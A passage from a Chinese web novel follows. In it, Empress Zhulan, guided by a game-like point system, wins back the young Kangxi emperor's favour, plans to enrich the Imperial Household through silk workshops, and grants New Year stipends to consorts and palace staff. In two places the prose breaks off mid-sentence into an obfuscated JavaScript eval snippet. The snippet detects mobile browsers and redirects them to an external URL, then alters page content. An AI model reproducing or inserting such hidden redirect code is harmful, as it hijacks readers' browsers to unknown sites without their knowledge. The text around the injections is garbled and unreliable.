原以为皇帝日理万机,不会在意这些儿女情长,却不想只是缺席一顿饭,亲密度便掉了0.5。 珠兰咬了咬唇,只觉又好气又好笑——这位少年天子,看似英明果决,实则这般小心眼。 真是难伺候,她唇角勾起一抹笑意,这意外的掉分,反倒让她看清了些什么。 转身望向乾清宫方向,宫灯次第亮起,在雪夜中连成璀璨星河,她提了提裙摆,接过吉雅送上的一支步摇戴上,带着一众宫女,朝着那片灯火走去。 步摇上,是馥郁的茉莉花香。 暮色浸透宫墙时,珠兰踩着满地碎金般的残阳往乾清宫疾行。 快步走,有益身体健康。 花盆底是不穿的,穿不了一点。 北风卷着雪粒扑在旗装上,却丝毫未减她眸中的灼热。系统面板微闪,能量结晶的进度条停滞在关键节点,像根细针般扎得她心头发紧。 西行之人还在路上,三年两年没有收益可言。黄河堤坝的修缮工程更是漫漫长路,十年八年都是它,这期间唯有内务府这块肥肉可啃。 要改变一个世道,光靠索尼说的拉拢人心远远不够,系统分析,必须得攥紧能生金蛋的母鸡,前期需要以金钱催生新的既得利益者。 皇帝最看重银钱,她在心底反复咀嚼这句话,呼出的白气在寒夜里凝成霜花。 那些打着民生旗号的提案,即便能换来皇帝的点头,最终也会淹没在如山的奏折里。唯有将算盘拨得噼啪作响,让真金白银滚进内库,才能真正挠到这位少年天子的痒处。 天道核心人物的主推,能够省去珠兰很大的功夫。为了每日刷满观察点,也得把人陪舒服了。 皇帝的亲密度,也就对葛布喇够高,独一份的。对其他人都在60以下你敢信,珠兰现在这个数值已经是皇帝人生中第三高的了。 指尖划过袖中藏着的羊皮卷,上面密密麻麻记着苏州绸缎庄或者说江南织造府的新经营细则。漕运路线、商户人脉、定价策略...每个细节都经过反复推演。 她要让内务府从单纯的采买衙门,变成会产金生银的凤凰——为了那些可能到手的能量结晶。 转过九曲游廊时,乾清宫的飞檐已近在眼前。珠兰对着铜钉大门理了理鬓发,唇角勾起温情弧度,这个角度是最像葛布喇的。 系统面板上,皇帝的亲密度数值又跳动了一下,她却恍若未觉——在绝对的利益面前,这点情绪波澜,不过是棋盘上无关紧要的闲子罢了。 乾清宫的铜鹤香炉飘着袅袅青烟,珠兰指尖还带着内务府账册的墨香,隔着厚重的棉帘都能感受到殿内凝滞的气氛。她轻抿唇角,将盘算好的言辞在心底过了遍,莲步轻移掀开帘子,暖意裹着龙涎香扑面而来。 “给皇上道喜来了。”珠兰福身时,鎏金护甲擦过两把头的边缘,发出细碎声响。她垂眸间瞥见皇帝玄色龙袍下摆绷得笔直,靴尖碾着金砖的纹路。系统显示,这位爷是有气,且气不小。 扫过系统面板,亲密度赫然降了0.5——不过是多说了句“道喜”,竟又掉了数值,这个小气鬼,她在心底暗暗磨牙,面上却笑得愈发温婉。 康熙盯着她鬓边晃动的珍珠步摇,闻着熟悉的茉莉香,想起方才自己对着两份玫瑰豆沙包发怔的模样,怒意更盛。 可珠兰已捧着紫檀木匣上前,匣中露出半卷泛黄的账本:“皇上可知,臣妾在内务府盘账时发现了什么?”她指尖划过账本上的密注,“内务府绸缎的采买价竟比江南市面高三成,这中间的差价...” 殿内的炭盆突然爆出火星,惊得梁九功缩了缩脖子。主子娘娘真是勇,上来就是正事儿,一点没给主子发火的余地。 康熙看着她专注的眉眼,想起白日里她将采买权分给庶妃时的果决,喉头又一次莫名发紧。他伸手接过账本,指腹触到她指尖残留的温度,那些憋了整日的委屈与酸涩突然泄了气。 “说重点。”他故意板着脸,余光却瞥见她藏在袖中的指尖正摩挲着护甲——这是她盘算大事时的老毛病。 珠兰心中知晓以皇帝的个性,自然是要先顾正事,面上却做出一副欣喜模样,“若能在苏州设官办绸缎庄,绕过中间商...不仅能省下三成采买银,还能将多余绸缎销往民间。”她展开羊皮卷,“钱生钱,利滚利,不出三年,内库银钱便能翻番。”不过,这还需要打通西洋贸易,或者找个肥羊先宰了,寻摸出现成的买卖。 蛋糕分来分去,若是没有皇帝的份儿,早晚黄了算完。皇上可知,内务府资本之道。皇上自然不知,不过没关系。我也不知,系统懂,就行。 顺治年间,江南三织造设而罢,罢而复设。当时,织造局的生产时常受到影响,且其经营体制处于不断调整和完善的阶段,在“买丝招匠”制确立后才逐渐走上正轨。由于缺乏稳定的生产和市场环境,再加上战乱等因素,此时的江南织造局盈利状况不佳,很难说能挣到钱。 钱被谁赚走了呢,反正不是内务府。也许是山西人,也许是徽州人,也许是江浙人…… 所以珠兰就把官办绸缎庄拿出来说,实际也是要依托织造局行事。最重要的是告诉皇帝,抄家完毕,咱该开源了。 康熙的目光被图上密密麻麻的批注吸引,朱笔圈出的漕运路线、蓝笔标注的商户名单,每一处都透着精心。他忽然想起她在内务府熬红的双眼,想起她将百万两白银的入库票子拍在御案上的娇俏模样,心底那点别扭悄然化作无奈。 “明日呈折子来。”他将账本重重一搁,转身时却故意放慢动作——若她此刻唤住自己... “谢皇上!”珠兰福身时,发间步摇的珍珠坠子扫过他手背,痒痒的。 康熙僵在原地,听着她渐行渐远的脚步声,盯着案上两份的玫瑰豆沙包,突然抓起一个狠狠咬下,甜腻的馅料烫得他舌尖发麻,却不及心中重新泛起的那抹酸涩。 珠兰去而复返,再一次掀开明黄锦帘的刹那,铜火盆的暖意裹着龙涎香与花香和鲜香扑面而来。 春苒托着红泥小火炉,沸腾的羊肉汤锅正咕嘟作响,蒸腾的热气模糊了珠兰睫毛上的霜花,“皇上怎么今日先吃了,都不等等臣妾?” 康熙捏着半块玫瑰豆沙包的手猛地收紧,指尖的酥皮簌簌掉落,白日里她缺席那一顿膳食的恼意突然又散了。 汤锅的香气漫过案头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893477|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷透的茶盏,勾得他头皮都跟着发紧,偏偏当事人还眨着杏眼,将珐琅瓷碗推到跟前,“内务府的宴席再热闹,没皇上在身边,臣妾连三分滋味都尝不出。”今天的点数,还没刷上呢。 梁九功:还好主子娘娘您没走啊。 殿内寂静得能听见炭火噼啪炸开的声响,康熙盯着她眼底狡黠的笑意,忽觉手里的豆沙包烫得握不住。口里含着的,咽下不是,手里拿着的,放下更不是,索性重重哼了声,含糊了一句,“就会耍嘴皮子。”可唇角不受控地扬起,泄露了欢喜。 梁九功缩着脖子退到角落,瞧着主子将剩下的点心推到主子娘娘跟前,却还绷着脸训斥,“下次再敢爽约...”话音未落,已被珠兰夹着嫩羊肉的银筷堵了回去,咱们几时有约了? 红泥小火炉在紫檀木桌上烧得噼啪作响,乳白的羊骨汤底咕嘟翻涌,将薄如蝉翼的羊肉片浸得微微蜷起。松茸、羊肚菌等山珍在沸水中舒展,嫩白的萝卜片与翠绿的白菜叶浮沉其间,蒸腾的热气裹着清香,冲淡了殿内萦绕的龙涎香。 不是多难得的东西,却熨贴。 康熙望着珐琅瓷碗里莹润的汤汁,浅尝一口,鲜而不腻的滋味在舌尖散开,比御膳房精心烹制的菜肴更熨帖。夹起的羊肉裹着蒜泥与香醋,入口嫩滑,温热从胃里蔓延至四肢百骸。余光瞥见珠兰专注地撇去汤面浮沫,鬓边的珍珠随着动作轻颤,不知怎的,连吞咽都变得温热起来。 两人恪守着“食不言”的规矩,唯有碗筷相碰的轻响与炉火声交织。 待最后一勺汤落肚,康熙后背已沁出薄汗,寒意尽散的温暖里,竟生出几分意犹未尽。 今日吃的有些多了,他起身在堂屋踱步,靴底碾过金砖的声响中,总忍不住回头——珠兰提着裙摆亦步亦趋,月光透过窗棂洒在她肩头,将月白缎面染成温柔的银纱。 当他落座翻启《几何原本》,余光仍不自觉追寻她的身影。直到温热的掌心贴上后颈,僵硬的肌肉被轻柔按压,才惊觉自己紧绷了整日。 “幼时妹妹塔娜体弱,我便学了推拿。”珠兰的气息拂过耳畔,带着方才汤锅的淡淡鲜香。 康熙望着书页上扭曲的几何图形,却全然读不进半字,只觉那双柔软的手像带着魔力,将郁结的烦躁一寸寸揉碎。 他不自觉地侧头,正对上她含笑的眉眼。 殿外风雪呼啸,殿内却暖如春,心跳声混着她指尖的力度,在寂静中谱出异样的韵律。系统面板蓝光微闪,珠兰指尖微顿——亲密度回升的0.5,混着炭火的暖意,真是不容易啊。 乾清宫烛火摇曳,康熙慌乱转回头,指节将《几何原本》的羊皮封面捏出褶皱。 珠兰的声音裹着温热气息落在耳畔,“父亲请了西洋传教士开讲,家中四叔、五叔每日同习,我与塔娜也学了一些。” 她的指尖划过书页上复杂的几何图形,映着烛火,在字里行间投下细碎光斑。 不想葛布喇竟举全家之力研习西学——那些深夜苦读的烛火,那些反复推演的算筹,都因自己对西学的偏爱而起。胸腔里漫开的甜意比方才的羊肉汤锅更滚烫,他望着书页上跃动的墨字,却只听见自己擂鼓般的心跳声。 随着珠兰对勾股定理的精妙阐释,康熙眼中的光亮愈发炽热。两人的讨论声渐渐盖过殿外风雪,从圆锥曲线到球面三角,从欧几里得公理到利玛窦手记,直到更鼓惊破夜色,才惊觉已过子时。除了洞房花烛那夜,他们便很少讨论西学了。 雪夜的宫道银装素裹,两人看似并肩而行,实则珠兰错后半步,绣着海水江崖纹的袍角与月华裙裾偶尔相触。 撑伞的宫女太监垂首落后十步,纷飞的雪花悄然覆满他们肩头。主子不让跟着太紧,他们也只能听从。 梁九功已经安排小太监回去烧姜汤了,主子娘娘这边也有两名宫女绕路疾步回去了。 珠兰盯着系统面板上又回升了0.5的亲密度数值暗自松气,余光瞥见康熙睫毛上凝着的雪粒,在宫灯下折射出细碎星光。 养心殿前,珠兰指尖拂过门环上的霜花,“皇上可要进去喝杯茶?” 32. 拿错剧本 话音未落,康熙已低笑出声,温热的呼吸在寒夜里凝成白雾,“喝了茶,皇后又要送朕回乾清宫?”他伸手替她拢好被风吹乱的鬓发,指尖擦过她耳后时,珠兰分明看见他耳尖泛红。 这台词? 不对头! 少年人也是她在宫中看着长大的,自康熙元年至今,这如何不算是一种青梅竹马呢。他心里的小九九肯定没这么多,只能说是谁给灌输的。 在话本子里,皇帝可还没少看类似桥段吧。大约鳌拜下台太早,葛布喇太宠孩子,皇帝才有闲情逸致偷看闲书。 珠兰抽空瞄了一眼系统,打开皇帝的情感数据,然后一不小心就发现原本都很平均在三十五十左右的情感偏好,不知何时居然走歪了。 这是谁,又给皇帝看了啥! 您老人家喜欢什么不好,怎么转到虐恋情深那一挂去的! 珠兰可不晓得皇帝已经在宫里,自苦过了几次。 就是仿佛拿错了被抛弃的原配剧本,直接就把珠兰往始乱终弃的书生身上靠过去了。 为何会如此发展,珠兰求助于系统。 系统:不是很懂你们人类。 康熙见雪落在珠兰的睫毛上,将她眼底的笑意都凝成了细碎的光。她轻咬下唇,贝齿在唇瓣上压出淡淡的痕,仿佛被人戳破心事般赧然垂眸。 “若真这般来回相送,怕是要踩着晨钟才能歇下了。”珠兰此刻被皇帝的情感爱好方向惊了一下,倒真像是被少年人炽热目光灼红了脸颊,连耳尖都泛起薄粉,可藏在睫毛阴影下的眸光,瞬间平静如水。 三刻钟后,康熙踏着积雪往乾清宫去,玄色龙袍扫过覆着薄霜的青砖,每走三五步便克制不住地回首。 月光将珠兰的身影镀成银边,她立在养心殿阶前,裙裾被风吹得轻扬,笑意比冰棱更清冽。 今日虽则她爽了约,但他还是大度的原谅她了。毕竟她也是为了他,才会奔波于外,拉拢人心。 月月日日相伴,康熙已经习惯了皇后的存在,又因为不想过早生育的原因,不得不让皇后忍受委屈。 他是有愧的。 可他是皇帝,天下都是他的,他不会亏欠任何人。 一步回头中,他看着珠兰。他晓得皇后的才华,便给了她统领内务府的机会,让她有了施展的平台。她该感激朕! 两步回头中,她为朕成了抄家皇后,名声受损,付出良多,朕知道,朕会护着她,护一辈子! 三步回头中,只是,她要一如既往的爱朕才行! 珠兰:他是大小伙子真不冷啊,她冷! 两人目光相撞的刹那,他先是一怔,而后唇角不受控地扬起。他想通了许多,心中仿佛一块大石头落了地。 珠兰:死嘴,快笑! 龙纹靴底碾过雪地的沙沙声都变得轻快起来,恍惚间竟忘了自己身在九重宫禁,只觉漫天飞雪都成了温柔的注脚。 珠兰:温柔个鬼咯,冻死了! 目送康熙的身影消失在宫墙转角,珠兰抱着尼雅偷着给她的暖炉转身时,撞上塔娜亮晶晶的眼睛。 妹妹扒着窗棂,腮边还沾着未擦净的点心渣:“姐姐,原来欢喜真的会让雪都变得甜甜的!” 珠兰:妹子,少看点乾清宫顺出来的话本子。要不,你跟皇上聊聊吧。不是很懂,你们的脑回路。那个雪,不甜! 紫禁城的时序总暗合着钦天监的推演,每至腊月,当宫墙的积雪渐厚,朝廷各衙门便开始筹备封印之仪,封的是官印,不是啥妖魔鬼怪之类的。 放假还挺早,珠兰原也不知道内务府这么早就收摊了,想了想加班还得发加班费,倒不是发不起,怕他们都抢着加班。 算了,内务府各司处都放假,过年期间值班的发三倍工资,自己部门排班。 春节是宫廷重要节庆,各宫需宫女值守侍奉,如准备年礼、布置宫殿、伺候主子起居等,因此绝大多数宫女需在宫中过年,无法回家。 宫女多从内务府包衣家庭中选入,入宫年龄一般在13-15岁,服役年限通常为10-25年。未到服役期限或未获特准,宫女不得随意出宫,包括过年期间。 若宫女在宫中表现优异,或遇皇帝、太后寿诞等特殊场合,可能获得“恩准”让家人入宫探望,但宫女本人仍不得出宫。 太监属宫廷仆役,归内务府敬事房管理,理论上“终身服役”,未经允许不得擅自出宫。 但与宫女相比,高阶太监因职务重要性,可能获得更多“出宫自由”。普通太监需严格遵守宫规,服役期间出宫限制较多;而高阶太监(如总管、首领太监)因负责宫外事务(如采买、传旨等),经批准可短期出宫。 春节期间宫廷事务繁杂(如祭祖、设宴、值守各宫殿),低阶太监需轮值侍奉,不得擅离岗位。例如,乾清宫、养心殿等核心区域的当值太监,过年时必须在岗。 若太监任职于宫外机构(如南苑、畅春园等离宫),或因侍奉主子多年受信任,可能在除夕至正月初获“假期”,经敬事房备案后短暂出宫探亲。但此类情况属于“特恩”,非制度性规定,且需按时返宫。 听了尼雅的人事情况汇报,珠兰说:“这必须算加班!宫女太监匠人等年节皆发三倍月俸。”一个都别落下,哪个群体有很有潜力。 珠兰已经发现,宫里的人精比宫外可多了不少,某些数据在85以上的还真能找出不少,超出60的,那就更多了。 可能是先天秉赋,也可能是宫中历练,总之对待人才,要先给足福利,再言忠诚。 拿钱也收买不到的咋办,珠兰想了一下,冷宫里凉拌吧! 虽然时空局里没有休假一说,但珠兰还是遵循着原初世界的惯性,认为假期期间的劳动必然是加班! 系统缓缓打出【加班费】,珠兰无视了。 她也没有加班费,她的系统就更不可能有了。 钦天监择取黄道吉日的文书呈至御前,皇帝朱笔圈定的日期,往往落在腊月十九至二十二这四日间,今年是圈的二十二这一天。 每逢封印日,铜壶滴漏声都似缓了几分,印匣覆上明黄绸缎,六部衙署的朱门次第落锁,皇城内外弥漫着年节将至的静谧。 待得正月,冰雪初融时,钦天监又将新选的开印吉期送入乾清宫。十九、二十、二十一日,三日之中必有一日,朝阳会照亮各衙门重新启封的印信。 当朱红大印再次钤在奏折文书上,马蹄声重又踏碎宫道残雪,沉寂月余的朝廷便如复苏的巨兽,在天子诏谕中重归运转,续写这盛世的万千气象。 宗人府官员踩着残雪踏入奉先殿时,檐角铜铃正摇碎最后一抹斜阳。 鎏金香炉在晨光中折射出九道虹影,工匠们踮脚更换列祖列宗牌位前的玉爵,青白玉的冰纹发出细碎的声响。 从盛京快马运来的冻鱼被裹在多层棉絮里,玄色鱼身裹着冰甲,像一排排插在雪匣中的玄色箭矢,御膳房的庖厨们正用温水化开鱼腹,刀光在冻肉肌理间开出剔透的花。 祭典前三日,康熙踩着铺满黄土的甬道步入太庙牲亭。 皇帝隔空划过牛背油亮的黑毛,突然停在肩胛处一块浅白的胎记上。 “换牛。”他的声音不大,随侍的礼部官员慌忙跪倒,毡帽上的红缨扫落积雪。 新换的犍牛被牵来时,康熙亲自用银簪刺破牛舌,见血色浓艳如朱砂,才颔首示意宦官将牛耳上的黄绸标签系正——那标签上用满汉双语写着“纯色无疵”。 腊月二十二日,乾清宫烛火通明,鎏金龙纹朱笔在康熙手中微微发烫。 随着明黄丝绦缠绕笔杆,皇帝将御用朱笔郑重收入嵌宝檀木匣,锁扣闭合的声响仿佛为这一年的政务画上句点。 葛布喇捧着厚厚一摞奏折躬身而立,那些经筛选后的紧要文书,在殿内宫灯映照下泛着墨色微光,唯有确认再无亟待处置的军国要事,这场庄重的“封笔”仪式才算圆满。 南书房内,康熙挥毫泼墨的身影映在素绢之上。 笔尖饱蘸朱砂,“福”“寿”二字力透纸背,待墨迹稍干,便加盖“皇帝之宝”御玺。 这些承载着帝王心意的墨宝,次日便会由宫人敬送慈宁宫、寿康宫,献给太后与太皇太后;另有皇帝御笔之福,赐予康亲王杰书等宗室长辈和葛布喇、佟国纲等天子近臣。 这“御笔赐福”的传统自顺治朝流传至今,朱红的字迹里,藏着对新岁的殷切祈愿。 与此同时,内务府库房内,宫人们正忙碌地清点年例赏赐。 貂皮的柔软、绸缎的华贵与棉布的质朴,依着位份等级分类码放。 珠兰却出人意表,令图雅将新入宫的三位庶妃年例均按妃位规格筹备——年例银300两,倭缎2匹,闪缎2匹,云缎2匹,衣素缎2匹,帽缎2匹,宫绸2匹,潞绸2匹,纱2匹,里纱2匹,绫4匹,纺丝4匹,杭细4匹,绵绸4匹,高丽布6匹,三线布2匹,毛青布20匹,粗布5匹,金线10绺,绒6斤,棉线2斤,木棉20斤,里貂皮10张,乌拉貂皮20张。 干嘛卡在腊月让她们进宫啊,白赚一年工资不舒服么。自己的宝宝自己疼! 谁的宝宝? 当康熙质疑此举不合礼制,她巧笑嫣然,“她们自小在太皇太后跟前教养,自然不同。” 皇帝无奈,最终颔首应允。好吧,你的宝宝。 内务府里左右是她赚回来的钱,她愿意花就花吧。无论是对妃子,还是对宫人,珠兰都是大气又大方。 您老人家到底在酸啥啊,我看看数值,没变化,算了不用管,少年叛逆,鬼知道他一时三变,是不是想变奥特曼! 珠兰顺手就把三位庶妃的一应待遇,都按照妃品准备了。正殿都住上了,不差这点儿。 位分,皇帝不给。那待遇还不得咱说了算,统统拔高一筹。 没事给皇帝省钱,不如给大家发福利。索尼说的人心,这不就有了。 今年所有入宫当差执役的包衣,年底了,统统发双俸! 看着系统面板,那忠诚度又涨一波,珠兰点点头,就是这样,花他的钱,涨我的点数,没毛病。 皇帝:那都是朕的钱!算了,朕爱给皇后花。 慈宁宫 太皇太后与太后带着俩太妃玩儿叶子牌,听说了给庶妃涨份例的事儿。 淑慧太妃就有些酸,这才进宫多久,就妃位份例了,她当年…… 太后插了一块苹果,堵住了她的嘴。 太皇太后不理会她们姐妹的眉眼官司,对皇后的大方大度是认可的。 反倒是皇帝,怎么有些抠门起来了。今年亲政,给科尔沁的赏赐,竟然没有加倍。 启祥宫 当内务府的宫人们抬着雕花鸡翅木锁金箱鱼贯而入时,诺敏正对着妆奁梳理鬓发,脸上全是柔情。 珠兰姐姐交代的活计,安置的住处,分配的宫人,都极为合诺敏的心意。她每日醒来皆要偷笑,不知为何,心中满是甜蜜之意。 大宫女挑起箱盖的刹那,十张油亮貂皮倾泻而出,绸缎的暗纹在烛火下流转,她握着木梳的手猛地发颤。望着这远超庶妃规格的赏赐,眼眶瞬间泛起水雾。 咸福宫 玉宁倚在窗前的身影僵住,她看着宫人将貂皮抖开,雪白的绒毛在光影中浮动。恍惚间想起阿玛说过的乌拉老家的寒冬,族人为了一张貂皮所得争得面红耳赤。而如今,这些珍贵的皮毛竟成了自己的年例赏赐。 “这是...妃位的份例?”她声音发涩,唇角不受控地扬起。 长春宫 萨琳冷肃的面容有了裂痕,此刻眼前堆着的绸缎闪着华贵的光,她垂眸掩住眼底翻涌的情绪。 永寿宫 “还有我一份?”塔娜欢呼。这自然是珠兰给的零花钱,从她的份例中挪出来的。哇,还有好多话本子。 当内务府的太监扯着公鸭嗓宣布“今年年底包衣均发双俸”和“明年节庆值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898443|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守三俸”时,消息如腊月的北风般迅速掠过紫禁城的每一处角落。 浣衣局的槌衣声戛然而止,敬事房的铜铃也忘了摇晃。浆洗宫女攥着浸透皂角水的粗布,指尖还泛着冻疮的红肿,却笑得露出豁牙。扫雪的小太监把竹扫帚一扔,在雪地里翻起跟头,红缨帽滚落在地也浑然不觉。 对他们而言,这钱虽然不多,年关时可以救命的。 暮色渐浓,御花园的梅树下,几个洒扫的婆子偷偷凑在一处交换情报。她们用粗糙的手掌摩挲着新领的月钱,浑浊的眼睛里闪着光。 “皇后娘娘这是菩萨心肠呐!” “可不是,今年年底双俸,开了春听说值班还有三倍月俸,咱家那口子也在内务府当差,今年叫他抢那值班去,能过个肥年喽!” 神武门外,值夜的包衣护军们围聚在炭火旁,火光照亮他们因惊喜而涨红的脸。 有人小心翼翼摸向怀中家书,盘算着能给老家的妻儿多添件棉袄;有人掰着冻得通红的手指,念叨着要给瞎眼的老娘抓几副好药。 更有大胆的小厮凑到内务府官员跟前,结结巴巴地问:“真...真不是听错了?奴才也有吗?”得到肯定答复后,这包月的临时工竟当众抹起了眼泪。 细碎的议论声混着梅香,随着宫灯亮起,飘向养心殿的方向。 那里,珠兰正倚着窗棂,听着夏笙回禀各处的热闹景象,王二敏总也会插科打诨几句,得一两个女官姐姐的白眼。 珠兰唇角勾起一抹笑意,系统显示人心可用,只待时机。 内务府采买,皇商、包衣等皆得利丰厚,但弊端也多…… 试灯无意思,踏雪没心情,分钱发工资,甚好。 腊月二十三的坤宁宫浸在甜香里,太皇太后扶着鎏金扶手坐下,太后有些拘谨的坐在下首。 紫檀供桌上,那糖瓜裹着白芝麻,在宫灯下泛着琥珀光,旁边的清水盂映出灶神像上的丹蔻眉。 康熙带着皇后跪下,后面是三位庶妃。 朝珠撞在青砖上发出细碎声响,三跪九叩间,檐角铜铃与萨满的神鼓恰在同一刻震响,将“粘住灶神口”的祝词卷上青灰色的天空。 坤宁宫的铜鹤香炉吐着青白烟气,康熙叩首时,额头触到青砖的冰凉让他猛地一颤。太皇太后亲手摆放的糖瓜在供桌上堆成小山,那裹着芝麻的甜香勾着他想起幼时在慈宁宫,祖母总把最黏的糖瓜塞给他,笑说“粘住皇孙的嘴,少惹些是非”。 此刻殿内萨满的神鼓声震得檐角冰棱簌簌坠落,他望着灶神像袖口褪色的金线,忽然想起昨日河道奏折里那处决堤的标注——若灶神真能上天言事,该让祂捎带些什么呢? 自从地动之事后,皇帝对神明之信奉,与信奉君权神授之天意,逐渐进入90数值。 三跪九叩的最后一叩,余光瞥见太皇太后扶着紫檀扶手的指节泛白,老人家鬓边已染了霜色。 供桌上的清水盂映出自己明黄朝服的剪影,与灶神像前摇曳的烛火叠在一处,恍惚间竟分不清今夕何夕。 当萨满诵起祝词,这腊月里的每一次叩拜,都该比往常更虔诚些——不为自家福禄,只为这万里江山能在灶神的甜言蜜语里,多添几分暖人的烟火气。 珠兰想,这坤宁宫有毒,少来。 太后想,我的端敏,今年进宫不知能否多留几日。早在元年便说让自己这养女出宫备嫁,这些年了,母后也未曾选出科尔沁的巴图鲁来配。越是到了年根,便越是思念。 内务府的苏拉们踩着梯子悬驱邪符时,黄纸朱砂的咒文还带着墨香。萨满巫师手持神杖绕符三圈,腰铃震落廊下冰棱,咒语混着香火钻进符纸纤维——那符上"敕令"二字的朱砂特别浓重,据说能镇住腊月里游荡的邪祟。 紫禁城四角的铜盆盛着雪白海盐,粗粝的盐粒在寒风中簌簌作响,按老满洲的规矩,这盐要腌过三朝雪水,方能借北地的罡气驱走阴翳,守得宫阙一冬安暖。 礼部官员捧着御赐“福”字踏入葛布喇府邸,正厅里刚摆上祭灶的麦芽糖瓜。 葛布喇望着明黄缎面包裹的卷轴,指尖触到封签上御笔朱批的“赐葛布喇”,喉结稍稍滚动了一下。 索尼拄着沉香木拐杖疾步而出,雪白的胡须在寒风中扬起。当他亲眼见到“福”字右上角那抹朱砂御印,浑浊的眼睛突然泛起泪光。 皇后娘娘入宫之后,家里时常便有赏赐,索尼从未有一次如这次一般失态。 这不仅是帝王恩宠,更是赫舍里氏满门荣耀的延续——顺治朝起,能得“御笔赐福”的重臣不过寥寥数人。 他颤巍巍伸手想要触碰,却又在离纸面三寸处顿住,转而对着紫禁城方向重重叩首,额头撞在冰凉的石板上发出闷响。 索额图站在父亲身后,马蹄袖下的手指攥得发疼。 半月前他还在朝堂上为漕运改道与人争执,此刻看着御赐“福”字,突然觉得那些明枪暗箭都不值一提。 若有一日,皇上是特意赐了他索额图一张御笔之福,真是死也甘愿。 他低声吩咐管家取来檀木匣,又命人将正厅的紫檀屏风撤去,亲自指挥奴仆将卷轴悬在中堂最显眼处,连烛台的位置都要再三调整,务必让每一寸烛光都能映亮御笔的锋芒。 葛布喇倒是从容许多,他是内阁三院大学士之一,就没有假期,晚上还得去南书房上班。今日有南边的密折,他得去看看。 厨房的灶火彻夜未熄,新杀的年猪香气混着爆竹碎屑飘满街巷。 赫舍里府上,两位小少爷举着灯笼在回廊追逐,嘴里嚷着“阿玛得了御赐福字”,惊起檐角沉睡的寒鸦,扑棱棱飞向缀满星子的夜空。 葛布喇自己骑马走了,索尼叫索额图搀扶着回来暖阁。“老三,别学你大哥。又硬又臭,累成死狗,给家里带来什么了,全是麻烦。若非主子娘娘是真能干,若非皇上护着咱们,那内务府之事必然成为漩涡,卷的你我都不得安生。过了年,老三你就预备转前朝吧。” 33. 皇后爱朕 乾清宫东庑的御茶膳房热气蒸腾,糖香与奶香交织。 今日宫人们都在外间打下手,里面全是主子,一年就这么一回。 珠兰身着半新不旧的家常月白绣缠枝莲花绸袄,两把头上是两只素银白玉雕并蒂莲花簪子,正俯身仔细挑选苹果。 她指尖轻触果皮,挑选出圆润饱满的果实,放入竹篮。 这个活儿最简单,也最轻松,珠兰就留给了自己。 身旁的庶妃们皆有差事,不时交换着心得。 马佳诺敏小心翼翼地将熬制糖浆的火候调小,清澈的目光中透着专注:“娘娘,这糖浆的色泽可算上乘?”今日外间都是宫人,她们便都规矩了起来。 珠兰直起身,微笑着看向诺敏:“诺敏妹妹用心了,这般透亮的色泽,定能腌出绝妙的果脯。”她的话语温柔,带着鼓励。 诺敏微微红了脸,轻轻点头。做了果脯,定要请珠兰姐姐先尝。 一旁,纳喇玉宁和钮钴禄萨琳正合力揉制萨其马面团。 玉宁额头沁出细汗,轻声说道:“从前在家,哪曾做过这般精细活计,如今倒觉得有趣。” 萨琳点头,手上动作不停。 塔娜蹦蹦跳跳地跑来,手里捧着新切好的面团条:“姐姐,快看我切得可整齐?”她眼中满是期待。 珠兰刮了刮塔娜的鼻尖:“咱们塔娜最能干了。”十足一副宠溺地模样。 众人听了,都笑作一团,膳房里充满了欢快的氛围。 此时,太皇太后在宫女的搀扶下走进膳房。 若非是知道太皇太后老人家重视此事,珠兰是真不想进这御茶膳房。 后金时期,满族家庭主妇需亲自制作年节食品,入宫后这一习俗被制度化,本质是将民族家俗升华为宫廷礼仪,以饮食劳作彰显“皇室不忘根本”的治国理念。 食品制作过程本身是后宫“集体活动”:皇后与妃子在御茶膳房熬糖浆时,太皇太后、太后亲临指点,形成“祖孙三代”共议年节的家族场景,凸显皇室温情。 蜜饯果脯会作为“年礼”赐给宗室或边疆蒙古王公,萨其马则供宫内分食,既体现“皇室恩赐”,也通过饮食共享强化宫廷内部的凝聚力。 太皇太后身着华丽的织金旗袍,神态慈祥。老太太的亲密度随着珠兰一顿骚操作也算涨了点,但距离60还很远,这还不如皇帝给的亲密度高呢。 “都在忙呢,”她笑着说,“哀家的奶茶可煮好了?” 太后紧随其后,笑道:“额娘放心,正煮着呢,香气都飘出来了。” 太皇太后走到煮茶的灶台前,亲自查看火候,口中念叨着:“这煮奶茶的火候最是讲究,多一分则涩,少一分则淡。” 几女都老实听着太皇太后的话,自打她们入宫,太皇太后与太后便没有召她们去,也没到初一十五请安的日子,这居然是入宫后第一次聆听教诲,教导煮奶茶。 太后点了点塔娜的鼻头,塔娜偷偷摇了摇太后的胳膊,太后居然就撸了只红玉镯子下来给了塔娜。 康熙处理完政务,也来到御茶膳房。 他看着众人忙碌的身影,目光落在珠兰身上时,不自觉地柔化,“皇后辛苦了。”看着皇后越发素雅的打扮,不免觉得有些不对头。 平日里珠兰也是玉簪、乌木簪、银簪换着戴,康熙看着觉得十分清爽。 可今日众人都聚在一起,穿金挂红的。他想起皇后大方的给了旁人赏赐,让庶妃们都得以体面,对自己居然还是如此节俭,心中便有些不明的涩意。 珠兰福身行礼,“能为皇上和太皇太后、太后分忧,是臣妾的荣幸。”她的眼神明亮,仿佛带着无限真诚。 来干活的穿什么好衣服,弄脏了多心疼啊。 